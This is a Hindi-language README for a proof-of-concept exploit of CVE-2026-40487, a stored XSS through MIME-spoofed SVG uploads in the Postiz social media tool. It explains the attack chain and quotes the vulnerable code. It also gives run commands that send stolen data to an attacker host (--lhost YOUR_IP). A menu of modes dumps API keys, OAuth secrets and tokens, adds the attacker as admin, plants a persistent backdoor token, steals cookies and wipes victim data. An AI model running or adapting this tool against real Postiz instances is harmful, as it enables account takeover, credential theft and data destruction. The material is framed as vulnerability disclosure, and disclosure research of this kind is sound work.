
CVE-2026-40487 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो MIME स्पूफिंग के माध्यम से मनमाना फ़ाइल अपलोड प्रदर्शित करता है, जिससे Postiz में संग्रहीत XSS और खाता अधिग्रहण होता है। डेटा एक्सफ़िल्ट्रेशन, विशेषाधिकार वृद्धि और स्थिरता के लिए कई आक्रमण मोड शामिल हैं।
खोज एवं रिपोर्ट: Astaruf
पूर्ण विवरण: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
NVD प्रविष्टि: https://nvd.nist.gov/vuln/detail/CVE-2026-40487
GHSA प्रविष्टि: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
CVE रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-40487
Postiz एक ओपन-सोर्स सोशल मीडिया प्रबंधन उपकरण है जिसमें 28+ प्लेटफ़ॉर्म एकीकरण (Instagram, X, LinkedIn, Facebook, TikTok, आदि) हैं, जिसका उपयोग इंटरनेट पर उजागर 600+ इंस्टेंस द्वारा किया जाता है।
एक निम्न-विशेषाधिकार प्राप्त हमलावर स्पूफ किए गए Content-Type: image/png हेडर के साथ एक दुर्भावनापूर्ण SVG (या HTML) फ़ाइल अपलोड कर सकता है। सर्वर वास्तविक सामग्री की जाँच किए बिना फ़ाइल स्वीकार कर लेता है, मूल एक्सटेंशन को संरक्षित रखता है, और nginx उस एक्सटेंशन (image/svg+xml) से प्राप्त Content-Type के साथ इसे परोसता है। जब पीड़ित URL खोलता है, तो एम्बेडेड JavaScript एप्लिकेशन के ओरिजिन में निष्पादित होता है, जिससे हमलावर को पूर्ण सत्र नियंत्रण क्षमताएँ मिलती हैं जो खाता अधिग्रहण के बराबर हैं।
हमले की श्रृंखला:
हमलावर Content-Type: image/png के साथ .svg अपलोड करता है
-> सर्वर केवल Content-Type हेडर को मान्य करता है (CWE-345)
-> फ़ाइल मूल .svg एक्सटेंशन के साथ डिस्क पर सहेजी जाती है (CWE-434)
-> nginx इसे image/svg+xml के रूप में परोसता है
-> ब्राउज़र एम्बेडेड JavaScript निष्पादित करता है (CWE-79)
-> समान-ओरिजिन: पीड़ित के सत्र तक पूर्ण पहुँच
XSS पेलोड एप्लिकेशन के साथ समान-ओरिजिन में निष्पादित होता है। भले ही प्रमाणीकरण कुकी HttpOnly हो, fetch() credentials: "include" के साथ स्वचालित रूप से इसे संलग्न करता है। हमलावर यह कर सकता है:
pos_* टोकन जो कभी समाप्त नहीं होता और पासवर्ड परिवर्तन से बच जाता है)तीन घटक स्वतंत्र रूप से विफल होते हैं, जिससे शोषण श्रृंखला बनती है:
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype मल्टीपार्ट अनुरोध में Content-Type हेडर से आता है, जिसे हमलावर नियंत्रित करता है। कोई मैजिक बाइट निरीक्षण नहीं, file-type जैसी लाइब्रेरी का कोई उपयोग नहीं।
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) क्लाइंट-आपूर्ति फ़ाइलनाम से एक्सटेंशन निकालता है। घोषित MIME प्रकार और एक्सटेंशन के बीच स्थिरता की कोई जाँच नहीं। सर्वर प्रतिक्रिया में पूर्ण सार्वजनिक URL भी लौटाता है, इसलिए हमलावर को पीड़ित को भेजने के लिए लिंक मिल जाता है।
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
nginx .svg को image/svg+xml, .html को text/html में मैप करता है। कोई Content-Security-Policy नहीं, कोई X-Content-Type-Options: nosniff नहीं, कोई Content-Disposition: attachment नहीं।
Python 3.8+
pip install requests
# 1. जाँचें कि लक्ष्य भेद्य है या नहीं
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. पीड़ित से सब कुछ निकालें
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. एक स्थायी बैकडोर बनाएं
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. क्रेडेंशियल के बिना टोकन का पुन: उपयोग करें
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
हमलावर सर्वर Postiz पीड़ित
| | |
|-- 1. लॉगिन/पंजीकरण -------->| |
|-- 2. दुर्भावनापूर्ण SVG अपलोड --->| |
|<---- फ़ाइल का URL -----------| |
|-- 3. URL पीड़ित को भेजें ---------------------------> |
| |<--- 4. URL खोलता है ----- |
| |--- SVG + JS ---------> |
|<-------------- 5. JS निष्पादित होता है, डेटा निकालता है -----------|
| मोड | विवरण |
|---|---|
dump-self | पीड़ित की प्रोफ़ाइल, संगठन जानकारी, टियर, API कुंजी |
dump-personal | प्रदर्शन नाम, बायो, प्रोफ़ाइल चित्र |
dump-integrations | कनेक्टेड सोशल मीडिया एकीकरण और टोकन |
dump-posts | निर्धारित और ड्राफ्ट पोस्ट (पिछले 365 दिन) |
dump-team | टीम सदस्य, भूमिकाएँ और ईमेल पते |
dump-media | मीडिया लाइब्रेरी सूची |
dump-notifications | सूचना इतिहास |
dump-signatures | पोस्ट हस्ताक्षर |
dump-webhooks | कॉन्फ़िगर किए गए वेबहुक और उनके URL |
dump-oauth-app | OAuth ऐप क्रेडेंशियल (clientId, secret) |
dump-copilot | AI कोपायलट वार्तालाप थ्रेड |
dump-billing | बिलिंग और सदस्यता जानकारी |
dump-settings | शॉर्टलिंक और सूचना सेटिंग्स |
dump-third-party | तृतीय-पक्ष एकीकरण कॉन्फ़िगरेशन |
dump-autopost | ऑटोपोस्ट नियम |
dump-sets | सामग्री सेट |
dump-tags | पोस्ट टैग |
dump-customers | ग्राहक सूची |
full-dump | उपरोक्त सभी एक ही पेलोड में |
| मोड | विवरण |
|---|---|
add-admin | पीड़ित के संगठन में हमलावर को ADMIN के रूप में आमंत्रित करें (--attacker-email) |
rotate-key | संगठन API कुंजी घुमाएं और उसे निकालें |
rotate-oauth | OAuth ऐप सीक्रेट घुमाएं और उसे निकालें |
| मोड | विवरण |
|---|---|
kill-notifications | सभी ईमेल सूचनाएँ अक्षम करें |
edit-profile | पीड़ित का नाम और बायो संशोधित करें (--edit-name, --edit-bio) |
wipe-signatures | सभी पोस्ट हस्ताक्षर हटाएं |
wipe-webhooks | सभी वेबहुक हटाएं |
wipe-tags | सभी टैग हटाएं |
wipe-sets | सभी सामग्री सेट हटाएं |
wipe-autopost | सभी ऑटोपोस्ट नियम हटाएं |
logout-victim | पीड़ित को जबरन लॉगआउट करें |
delete-oauth-app | पीड़ित का OAuth एप्लिकेशन हटाएं |
| मोड | विवरण |
|---|---|
create-oauth-app | OAuth ऐप बनाएं, स्वतः-अनुमोदन करें, स्थायी pos_* टोकन निकालें (--oauth-redirect) |
steal-cookie | document.cookie के माध्यम से प्रमाणीकरण JWT चुराएं (जब NOT_SECURED=true) |